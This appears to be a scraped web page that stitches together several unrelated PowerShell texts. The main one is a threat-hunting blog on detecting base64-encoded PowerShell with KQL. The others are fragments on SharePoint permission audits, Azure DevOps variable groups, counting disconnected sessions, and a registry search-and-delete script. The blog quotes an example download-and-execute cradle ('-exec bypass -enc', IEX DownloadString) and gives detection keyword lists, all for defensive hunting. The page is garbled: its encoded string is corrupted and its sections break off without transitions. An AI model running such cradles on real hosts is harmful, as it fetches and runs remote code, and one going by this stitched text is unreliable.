Encoding is a something that has exsisted for decades and not new a new created concept for information technology. In essence, encoding is the transformation of data into a specific format or structure for secure storage or efficient transmission. In ancient times, civilizations used rudimentary encoding methods like the Caesar cipher to protect sensitive messages from adversaries. As technology advanced, more sophisticated encoding techniques were created, especially since computers could easily decypher the contents. In the world of cyber adversaries use encoding in a similar way, they want to write code that evades detection. This blog will dive into the detection and decoding of Encoded PowerShell using Defender For Endpoint data.
Powershell can be used encoded to obfucstate the commands that have been executed. Those encoded executions are classified in MITRE ATT&CK technique T1027.010 (Obfuscated Files or Information: Command Obfuscation). An attacker can choose encoding to hide the downloading of malicious files, or to prevent simple string matching detections. The goal of this blog is to identify the systems that execute encoded powershell and to classify the traffic as benign or suspicious.
This blog specifically focusses on base64 encoded PowerShell Executions. The base64_decode_tostring() function can be used to encode all base64 encoded string, regardeless of the scripting language that is used.
PowerShell Encoding
Before we can start hunting for any encoded PowerShell commands, we need to understand what it is and what the incidcators of it are. For this part is is important that the encoded PowerShell is directly executed, the encoding of files is less interesting in this case. We build our theory based on cases in which actors used encoded Powershell (see section).
For all examples you can use KQL to translate this or any encoded base64 string, using the base64_decode_tostring() function. This works for all base64 strings, not only PowerShell.
lo
let YourEncodedBase64Command ;Example
powershell.exe -exec bypass -enc aQBlAHgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHKACWB0AGUAbQAuAEAZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKAKQAUAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAAA6ACAALwA0ADUALgAxADMANgAuADIAMwAwACAWAADEAOgA0ADAAMAAwACAAyADMANABSADIAMWAnACkAOwA=powershell.exe -exec bypass -enc IEX (New-Object NetWebclient)DownloadString('http://127.0.0.1:32467/')Based on the example we can see that adversaries use PowerShell on the commandline and a parameter to execute encoded powershell. This paremeter can be used in differrent forms; -encodedcommand, -enc or -e. Note that this execution also performs a bypass, which is intersting for later detection.
Threat Reports containing encoded base64 examples
List the devices that execute encoded PowerShell
In this step we list the devices that execute Powershell by the amount of encoded PowerShell commands executed. This is done to analyse the encoded PowerShell behaviour in for tenant and which parameters are used. This can give an indication on which device needs to be investigated further. Executing encoded scripts is not necacaraly suspicious, several legitimate solutions are used in the wild, for example to limit the script size.
The amount of encoded PowerShell executions can differ a lot in tenants, thus this indication can shed some light on the current situation and if we need to apply some filters to limit the results.

The query (below) investigates the DeviceProcessEvents for PowerShell executions. The next step is to check if the commandline contains any of the parameters in the EncodedList. If that is the case we extract the base64 string from the commandline using regex. This string is than decoded (but not used yet). Lastly we use the summarize operator to get the count for each device.
let TimeFrame d; Customizable h hours, d daysInvestigate encoded PowerShell commands
The seconds step also shows all the commands that have been executed by each device. This is done by decoding the commands in order to be investigated. This is then listed by DeviceName the amount of unique queries that have been executed by that particial device in the selected timeframe. The image below shows the results of this step.

The question what defines a malicious PowerShell command is the same as with clear text executions. But there are a few indicators that can indicate suspicious PowerShell usage, these could be:
- Downloading Remote Files (directly from an IP address)
- Attempting to bypass execution policies
- Trying to modify registry run keys
- Clearing (security) logs or disabling logging
If you identify one of the above indicators in the query results, take some time to investigate before moving to the next steps.
Found suspicious PowerShell Executions?
If you have found suspicious PowerShell executions in your environment it would be recommended to perform some incident response queries, to determine the impact. In the GitHub repository the category DFIR can be used to run those queries, to quickly list malicious activities.
Queries for this step can be found on my GitHub: MDE & Sentinel KQL Query
Reconnaissance Activities
In this step we further build upon our previous queries to specifically look for reconnaissance activities. We are now going to enrich the privious query with commands that can be related to recon activities. For this step a predifined list of recon activities is defined:
let TimeFrame h; Customizable h hours, d days the decoded commandline Recon variablesDetailed queries for this step can be found on my GitHub: MDE & Sentinel KQL Query
Encoded WebRequests
Similar to the previous step we explicitly search for encoded commands in combination with a different indicator, this will yield better results. Thistime the additional indicator is focussed on encoded downloads. This technique is often used by attackers to evade their download actions, or to limit the impact on custom detection rules, that are only scoped on normal commands.
The downloads list that is used in this detection:
let DownloadVariables = dynamic(['WebClient', 'DownloadFile', 'DownloadData', 'DownloadString', 'WebRequest', 'Shellcode', 'http', 'https']);
Detailed queries for this step can be found on my GitHub: MDE & Sentinel KQL Query
Custom Detection & Analytics rules base64
To increase the likelyhood that a encoded PowerShell command has been executed with malicious intent you can filter on commandlines that have PowerShell, bypass and one of the encoded PowerShell commands. Note that you would also filter all malicious scripts that do not have to bypass the current execution policy.
let EncodedList = dynamic(['-encodedcommand', '-enc', '-e']);
DeviceProcessEvents
| where ProcessCommandLine has_all ('powershell', 'bypass', EncodedList) Questions? Feel free to reach out to me on any of my socials.
Introduction

I have not been able to determine why unique permissions are sometimes created without generating a sharing link. One of the scenerios I noticed is the sharing link is only created when “Copy Link” is clicked on.

PowerShell script Overview

Script Overview
Let’s break down the key components of the PowerShell script:
Parameters
Also two additional parameters are available $excludeLimitedAccess and $includeListsItems to change behaviour of the script as described in the comments
# update to $false to include limited access permissions # update to $false to exclude list items/files Connection to SharePoint Online Site Collection
Retrieval of SharePoint Permissions
Exclusion of Certain Libraries
To streamline the auditing process, the script excludes specified libraries, such as system libraries, using the $ExcludedLibraries array. This ensures that only relevant data is included in the permission audit.
Exporting the Report
Once the permission data is collected, the script exports it to a CSV file with a timestamped filename. The exported report includes details such as site URL, site title, object type (site, list, or item), relative URL, list title, member type, member name, member login name, parent group, and assigned roles.
Alternatives
Conclusion
References
Microsoft Purview data security and compliance protections for Microsoft Copilot
CSOM in PowerShell Query All Unique Permissions
I am building out a PowerShell script to return the number of disconnected sessions on a Windows server. I’m running into an issue where I can query the sessions on a server but can’t enumerate them into a counter.
For starters I query the active sessions:
query user /server:$SERVER USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME user1 5 Disc 10+14:30 8/3/2023 12:23 PM user2 6 Disc 10+13:38 8/3/2023 6:15 PM user3 10 Disc 5+01:03 8/9/2023 8:27 AM
>iamtheadmin rdp-tcp#3 14 Active . 8/14/2023 9:47 AMGreat! Next I try to take the results and convert them into an integer that I can use to do other things (shutdown, reboot, send a notification, etc).
# Initialize a counter for disconnected sessions
$disconnectedSessionCount = 0
# Iterate through each line of the session information
foreach ($line in $sessionInfo) { # Split the line into words $words = $line -split '\s+' # Check if the session state is "Disc" (disconnected) if ($words[2] -eq "Disc") { # Increment the disconnected session counter $disconnectedSessionCount++ }
}
# Output the number of disconnected sessions
Write-Host "Number of Disconnected Sessions: $disconnectedSessionCount"Attempted to write script that enumerates the number of disconnected sessions on a Windows server. Unfortunately I always get the same result.
Authentication of your Powershell script
Firstly, we need to authenticate every request send to the Azure REST API. Authentication is based on Subscription and Tenant: the Tenant GUID can be found in the Azure Active Directory in the overview and the subscription can be found in most resources in the overview part.
You can then validate the context and create the authentication header for future calls inside the script.
Doing something useful
Now we have this initial part out of the way, we can do something useful with the rest of the script.
First, we are going to retrieve all libraries within the project and put those in the $data variable.
Iterate to the data
Iterate the library groups
Output
This is only a small sample of the output. Depending on your setup this can grow to become a very long list.

In this blog post, we learned how to use PowerShell to query variable groups in Azure DevOps via the REST API. By authenticating our script, we ensured secure access to the API. We demonstrated how to retrieve and list non-secret values from variable groups, making it easier to manage and optimize our pipelines. Mastering PowerShell for Azure DevOps empowers us to enhance our development and deployment processes. Happy scripting!
To search by value you’ll have to get all keys/subkeys in your specified path first. Once you get the keys you’ll have to go through each one and get the key values and data. The whole key (and subkeys) well be removed if any of it’s value data contain the specified search term.
$searchRegKeyValue = "*test123*"
$myPath = "REGISTRY::HKCR\"
# $mypath = "REGISTRY::HKLM:\Software\"
$childItems = Get-ChildItem -Path $myPath -Recurse -ErrorAction SilentlyContinue
# go through each key in the reg path specified
foreach ($key in $childItems){ # for each value of the key get it's value and compare against the search term foreach ($name in $key.GetValueNames()){ if ($key.GetValue($name) -like $searchRegKeyValue){ # Get-Item -Path $key.pspath Remove-Item -Path $key.pspath -Recurse -WhatIf } }
}The above solution works well if there are not a lot of keys/subkeys to go through but can get slow especially if you specify a top level path ("REGISTRY::HKCR\" vs "REGISTRY::HKCR\CLSID").
I found a really interesting solution to speed up registry search in powershell here. So I modified the solution a bit to work with this use case. The speed up using this solution is more noticeable with a larger search set. I saw 50%+ speedup on the larger search set but on smaller it was closer. For my orginal solution it took 293 seconds to search HKCR:\ while using the solution linked it took 101 seconds.

Bellow is from the linked solution modified to remove the keys that have values that match $search. I had to change some things around in the search to account for an empty $subKey to search from root level but it’s mostly the same other than that.
# [email protected]# reference: https://msdn.microsoft.com/de-de/vstudio/ms724875(v=vs.80)
cls
remove-variable * -ea 0
$ErrorActionPreference = "stop"
$signature = @'
[DllImport("advapi32.dll")]
public static extern Int32 RegOpenKeyEx( UInt32 hkey, StringBuilder lpSubKey, int ulOptions, int samDesired, out IntPtr phkResult );
[DllImport("advapi32.dll")]
public static extern Int32 RegQueryInfoKey( IntPtr hKey, StringBuilder lpClass, Int32 lpCls, Int32 spare, out int subkeys, out int skLen, int mcLen, out int values, out int vNLen, out int mvLen, int secDesc, out System.Runtime.InteropServices.ComTypes.FILETIME lpftLastWriteTime
);
[DllImport("advapi32.dll", CharSet = CharSet.Unicode)]
public static extern Int32 RegEnumValue( IntPtr hKey, int dwIndex, IntPtr lpValueName, ref IntPtr lpcchValueName, IntPtr lpReserved, out IntPtr lpType, IntPtr lpData, ref int lpcbData
);
[DllImport("advapi32.dll", CharSet = CharSet.Unicode)]
public static extern Int32 RegEnumKeyEx( IntPtr hKey, int dwIndex, IntPtr lpName, ref int lpcName, IntPtr lpReserved, IntPtr lpClass, int lpcClass, out System.Runtime.InteropServices.ComTypes.FILETIME lpftLastWriteTime
);
[DllImport("advapi32.dll")]
public static extern Int32 RegCloseKey(IntPtr hkey);
'@
$reg = add-type $signature -Name reg -Using System.Text -PassThru
$marshal = [System.Runtime.InteropServices.Marshal]
function search-RegistryTree($path) { if(($path -ne "") -and !($path.EndsWith("\"))){ $path += "\" } # open the key: [IntPtr]$hkey = 0 $result = $reg::RegOpenKeyEx($global:hive, $path, 0, 25 ,[ref]$hkey) if ($result -eq 0) { # get details of the key: $subKeyCount = 0 $maxSubKeyLen = 0 $valueCount = 0 $maxNameLen = 0 $maxValueLen = 0 $time = $global:time $result = $reg::RegQueryInfoKey($hkey,$null,0,0,[ref]$subKeyCount,[ref]$maxSubKeyLen,0,[ref]$valueCount,[ref]$maxNameLen,[ref]$maxValueLen,0,[ref]$time) if ($result -eq 0) { $maxSubkeyLen += $maxSubkeyLen+1 $maxNameLen += $maxNameLen +1 $maxValueLen += $maxValueLen +1 } # enumerate the values: if ($valueCount -gt 0) { $type = [IntPtr]0 $pName = $marshal::AllocHGlobal($maxNameLen) $pValue = $marshal::AllocHGlobal($maxValueLen) foreach ($index in 0..($valueCount-1)) { $nameLen = $maxNameLen $valueLen = $maxValueLen $result = $reg::RegEnumValue($hkey, $index, $pName, [ref]$nameLen, 0, [ref]$type, $pValue, [ref]$valueLen) if ($result -eq 0) { $name = $marshal::PtrToStringUni($pName) $value = switch ($type) { 1 {$marshal::PtrToStringUni($pValue)} 2 {$marshal::PtrToStringUni($pValue)} 3 {$b = [byte[]]::new($valueLen) $marshal::Copy($pValue,$b,0,$valueLen) if ($b[1] -eq 0 -and $b[-1] -eq 0 -and $b[0] -ne 0) { [System.Text.Encoding]::Unicode.GetString($b) } else { [System.Text.Encoding]::UTF8.GetString($b)} } 4 {$marshal::ReadInt32($pValue)} 7 {$b = [byte[]]::new($valueLen) $marshal::Copy($pValue,$b,0,$valueLen) $msz = [System.Text.Encoding]::Unicode.GetString($b) $msz.TrimEnd(0).split(0)} 11 {$marshal::ReadInt64($pValue)} } # if ($name -match $global:search) { # write-host "$path\$name : $value" # $global:hits++ # } elseif ($value -match $global:search) { # write-host "$path\$name : $value" # $global:hits++ # } # only find keys based on matched value data if ($value -match $global:search) { write-host "$path$name : $value" $item = "$path : $value" $keyList.Add($item) $global:hits++ } } } $marshal::FreeHGlobal($pName) $marshal::FreeHGlobal($pValue) } # enumerate the subkeys: if ($subkeyCount -gt 0) { $subKeyList = @() $pName = $marshal::AllocHGlobal($maxSubkeyLen) $subkeyList = foreach ($index in 0..($subkeyCount-1)) { $nameLen = $maxSubkeyLen $result = $reg::RegEnumKeyEx($hkey, $index, $pName, [ref]$nameLen,0,0,0, [ref]$time) if ($result -eq 0) { $marshal::PtrToStringUni($pName) } } $marshal::FreeHGlobal($pName) } # close: $result = $reg::RegCloseKey($hkey) # get Tree-Size from each subkey: $subKeyValueCount = 0 if ($subkeyCount -gt 0) { foreach ($subkey in $subkeyList) { if (!($subkey.EndsWith("\"))){ $subKeyValueCount += search-RegistryTree "$path$subkey\" } else{ $subKeyValueCount += search-RegistryTree "$path$subkey" } } } return ($valueCount+$subKeyValueCount) }
}
function remove-keys ($keyList){ Write-Output "The following KEYS will be removed: " foreach ($key in $keyList){ $value = $key.split(":")[1] $key = $key.split(":")[0].TrimEnd() Get-Item -Path "$root\$key" } foreach ($key in $keyList){ $value = $key.split(":")[1] $key = $key.split(":")[0].TrimEnd() # Get-Item -Path "$root\$key" Remove-Item -Path "$root\$key" -Recurse -WhatIf }
}
$timer = [System.Diagnostics.Stopwatch]::new()
$timer.Start()
# setting global variables:
$search = "test123"
#needs to change depending on the location you are searching
# $hive = [uint32]"0x80000002" #HKLM
$hive = [uint32]"0x80000000" #HKCR
# $root = "REGISTRY::HKEY_LOCAL_MACHINE"
$root = "REGISTRY::HKEY_CLASSES_ROOT"
# to search from the root level of the hive you selected
$subkey = ""
# $subkey = "CLSID"
$time = New-Object System.Runtime.InteropServices.ComTypes.FILETIME
$hits = 0
$keyList = [System.Collections.Generic.List[string]]::new()
write-host "We start searching for pattern '$search' in Registry-Path '$subkey' ...`n"
$count = search-RegistryTree $subkey
Write-Output $values
$timer.stop()
$sec = [int](100 * $timer.Elapsed.TotalSeconds)/100
write-host "`nWe checked $count reg-values in $sec seconds. Number of hits = $hits."
remove-keys $keyListIn both solutions you’ll need to remove -whatIf when using remove-item to actually remove the item. I just left it here for safety. It’ll remove the key and any subkeys of that key if there is a match. I’d recommend testing with your search term first before removing -whatIf to make sure it matching with what you want to remove.



